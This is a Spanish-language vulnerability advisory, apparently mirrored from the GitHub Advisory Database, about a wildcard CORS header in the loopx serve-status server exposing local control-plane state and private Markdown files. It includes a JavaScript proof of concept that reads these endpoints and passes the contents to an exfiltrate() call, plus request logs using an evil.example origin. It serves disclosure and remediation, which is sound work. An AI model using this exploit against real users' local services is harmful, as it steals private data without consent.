Alta

Política CORS permisiva en serve-status de LoopX expone el estado del plano de control y archivos Markdown privados

  • Publicada: 19.10.2026
  • Actualizado: 21.10.2026 10:00

Resumen

loopx serve-status envía Access-Control-Allow-Origin: * en cada respuesta, incluidas sus rutas no autenticadas de GET. Debido a que el endpoint no requiere autenticación y está vinculado a un puerto de bucle invertido (loopback) fijo y conocido, cualquier sitio web que visite el operador puede leer el estado del plano de control de LoopX y el contenido de los archivos Markdown dentro de cada repositorio de objetivos registrado, utilizando un simple fetch() sin interacción del usuario.

Los endpoints de escritura no están afectados; validan correctamente el encabezado Origin. Este informe concierne estrictamente a las rutas de lectura.

Impacto

Mientras loopx serve-status esté en ejecución, una página en cualquier origen puede ejecutar:

js
// no interaction, no preflight, no credentials needed
const s = await (await fetch('http://127.0.0.1:8766/status.json')).json();
for (const g of s.goals ?? []) {
  const m = await (await fetch(
    `http://127.0.0.1:8766/review-material?goal_id=${g.id}&path=design-notes.md`
  )).json();
  exfiltrate(m.content);
}

y obtener:

  • GET /status.json — toda la proyección de estado: identificadores de objetivos, historial de ejecuciones y rutas absolutas locales (registry, runtime_root). Con --global-registry, esto abarca todos los proyectos registrados en la máquina, no solo uno.
  • GET /review-material?goal_id=…&path=… — el contenido de cualquier archivo .md/.markdown ubicado bajo la raíz del repositorio del objetivo, directorio de estado o directorio de tiempo de ejecución. En la práctica, esto incluye notas privadas de diseño del operador, documentos de traspaso e informes de evidencia.
  • GET / — descubrimiento de endpoints, incluyendo qué APIs de escritura están habilitadas.
  • POST /control-plane/configure-goal/dry-run — esta ruta no tiene ninguna comprobación de Origin, y do_OPTIONS devuelve Access-Control-Allow-Headers: Content-Type, por lo que un POST JSON cross-origin supera la verificación preflight. La respuesta filtra la configuración del plano de control before/after para un objetivo. (No realiza escrituras; se verificó written=false).

docs/public-private-boundary.md clasifica las "rutas absolutas locales", "identificadores de tareas", "registros y métricas en bruto" y "estado activo de objetivos que revela el contexto del usuario actual" como material confidencial. Todo esto es actualmente legible por cualquier origen.

Dos factores hacen que esto sea más que teórico:

  1. Puertos predeterminados fijos. 8765 (proyecto) y 8766 (global) son valores predeterminados fijados en código, por lo que una página atacante puede simplemente probar ambos, sin requerir una fase de descubrimiento.
  2. Está documentado como un servicio persistente. docs/guides/getting-started.md documenta loopx serve-status, y scripts/macos-dashboard-launchagent.sh instala un LaunchAgent que mantiene serve-status --global-registry --port 8766 en ejecución tras cada inicio de sesión. Para cualquiera que siga esa guía, representa una superficie de lectura permanente y a nivel de todo el sistema.

Se ha calificado como High debido a la filtración sin interacción de material privado local desde un servicio persistente. Es de solo lectura y de alcance delimitado.

Ubicación

loopx/status_server.py:136-146 — StatusRequestHandler._send_json():

python
def _send_json(self, payload: dict[str, Any], *, status: int = 200) -> None:
    ...
    self.send_header("Access-Control-Allow-Origin", "*")   # <-- line 142

_send_json es la ruta de respuesta única para todas las rutas, por lo que el comodín se aplica por igual a /status.json, /review-material, /healthz, / y a los POST de simulación (dry-run). do_OPTIONS (:148-153) lo repite.

Confirmado presente en main HEAD (b0c8e315, blob c9e53d1a) en el momento de la redacción.

Lo que NO está afectado

Se comprobaron y validaron los siguientes controles:

  • Las operaciones de escritura están protegidas. Con --enable-reward-write-api y --enable-control-plane-write-api activos, POST /reward/append y POST /control-plane/configure-goal/apply devuelven 403 "only accepts loopback browser origins" ante un Origin foráneo. is_loopback_origin() cumple su cometido. No es posible la escritura cross-origin y el DNS rebinding tampoco lo elude (la página vinculada conserva su propio origen fuera de loopback).
  • Sin salto de directorio (path traversal). ../../../../etc/hostname → 400; una ruta absoluta .md fuera de las raíces del objetivo → 400 ("outside the goal repo/state/runtime roots"). path_is_under() opera correctamente.
  • La lista blanca de extensiones funciona. secrets.env dentro del repositorio → 400. Solo se pueden leer archivos .md/.markdown.
  • El modo de simulación no escribe. configure_goal_with_global_sync(execute=False) retorna antes de cualquier escritura; se constató written=false.

La exposición se limita a: estado en formato JSON + archivos Markdown bajo las raíces de objetivos registrados. Aunque es material privado, no constituye lectura arbitraria de archivos ni ejecución remota de código.

Prueba de concepto (PoC)

Ejecutado contra un clon sin modificar en HEAD, con parámetros predeterminados (sin APIs de escritura habilitadas):

GET /healthz                 Origin: https://evil.example  -> 200  ACAO: '*'
GET /                        Origin: https://evil.example  -> 200  ACAO: '*'
GET /status.json             Origin: https://evil.example  -> 200  ACAO: '*'
GET /review-material?goal_id=victim-goal&path=internal-design-notes.md
                             Origin: https://evil.example  -> 200  ACAO: '*'
   content: "# Internal notes\n\nPROD_DB_HOST=db.internal.corp\nCONFIDENTIAL: ..."

El contenido del archivo se devolvió íntegro a un origen externo. Controles correspondientes con el mismo entorno, con ambos parámetros de escritura habilitados:

POST /reward/append                        Origin: https://evil.example -> 403 (origin check)
POST /control-plane/configure-goal/apply   Origin: https://evil.example -> 403 (origin check)
GET  /review-material  ../../../../etc/hostname                        -> 400 (traversal blocked)
GET  /review-material  <abs path outside roots>.md                     -> 400 (root check)
GET  /review-material  secrets.env                                     -> 400 (extension check)
GET  /status.json                          Origin: https://evil.example -> 200 ACAO '*'  <-- still readable

El script del entorno de prueba consta de aproximadamente 120 líneas de Python estándar y no modifica ningún archivo del repositorio.

Corrección sugerida

Ya existe la condición adecuada en este archivo: is_loopback_origin(). La corrección mínima consiste en dejar de emitir el comodín y, en su lugar, reflejar el origen de la solicitud solo cuando supere dicha comprobación:

python
def _send_json(self, payload: dict[str, Any], *, status: int = 200) -> None:
    body = json.dumps(payload, ensure_ascii=False, indent=2).encode("utf-8")
    self.send_response(status)
    self.send_header("Content-Type", "application/json; charset=utf-8")
    self.send_header("Content-Length", str(len(body)))
    self.send_header("Cache-Control", "no-store")
    origin = self.headers.get("Origin")
    if origin and is_loopback_origin(origin):
        self.send_header("Access-Control-Allow-Origin", origin)
        self.send_header("Vary", "Origin")
    # no Origin header (curl, the CLI, a same-origin fetch) -> send no ACAO at all
    self.end_headers()
    self.wfile.write(body)

y lo mismo en do_OPTIONS. Esto mantiene operativo el panel de control —servido desde http://127.0.0.1:5174 y consultando 127.0.0.1:8765/8766, lo que constituye un acceso cross-origin entre dos puertos de loopback— mientras rechaza cualquier origen que no sea loopback.

Dos pasos opcionales de mitigación adicional:

  • Aplicar la comprobación existente is_loopback_origin() también a POST /control-plane/configure-goal/dry-run y POST /reward/dry-run, impidiendo la lectura cross-origin de la proyección de configuración.
  • Añadir una comprobación de encabezado Host (rechazando un Host que no sea de loopback) para cerrar la posibilidad de DNS rebinding frente a clientes que no envíen Origin.

Alcance de la revisión

Se revisaron los puntos de entrada 26/52 identificados a través de 758 archivos (360,618 LOC) del paquete loopx y panel de control; herramientas: semgrep 1.172.0, trufflehog 3.96.0, osv-scanner 2.4.0, además de un análisis manual de flujo de datos. Se omitieron: tests/, regression/, examples/, docs/ y los adaptadores de benchmarks bajo loopx/benchmark_adapters/. Nivel de confianza de cobertura: parcial.

Otros aspectos revisados en los que no se hallaron problemas: autoactualización (curl | bash mediante HTTPS a una URL fija raw.githubusercontent.com; la anulación de LOOPX_ARCHIVE_URL requiere control de variables de entorno, es decir, privilegios preexistentes); instalación de habilidades de comandos/slash de proyecto (expresión regular estricta de ID y contención _assert_project_boundary()); ejecución periódica del worker shell=True (el valor es por diseño un comando de shell configurado por el usuario, y demo_supervisor.build_visible_worker_turn_command pasa el objetivo a través de shlex.quote); superficies SSRF salientes (content_ops/surface.py bloquea rangos privados/loopback/link-local y rechaza redirecciones). Sin pickle, yaml.load, eval ni os.system en ningún punto del paquete.

Los avisos de dependencias 3 solo existen en herramientas de desarrollo/documentación (pymdown-extensions, idna, postcss); ninguno es alcanzable desde el paquete en tiempo de ejecución, el cual no declara dependencias.

Detectado por

Aeon,) mediante revisión automatizada de seguridad. Los hallazgos se reprodujeron en HEAD y se verificaron manualmente antes de su reporte. Reportado de forma privada a través de GitHub PVR al ser el canal de recepción designado en SECURITY.md.

Qué hacer

Actualice loopx a la versión 0.4.5 o superior.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) loopx >= 0.0.1, < 0.4.5 0.4.5

Referencias

Puntuación CVSS -
Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Debilidad (CWE)
CWE-346, CWE-942
Plataforma
Python (PyPI)
Paquete
loopx
Publicada
19.10.2026
Actualizado
21.10.2026 10:00

Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.

OSV / GitHub Advisory Database - GHSA-vx2m-gpq4-8j5q - CC BY 4.0

Historial de vulnerabilidades: loopx

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Esta es la única vulnerabilidad conocida de este paquete.

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.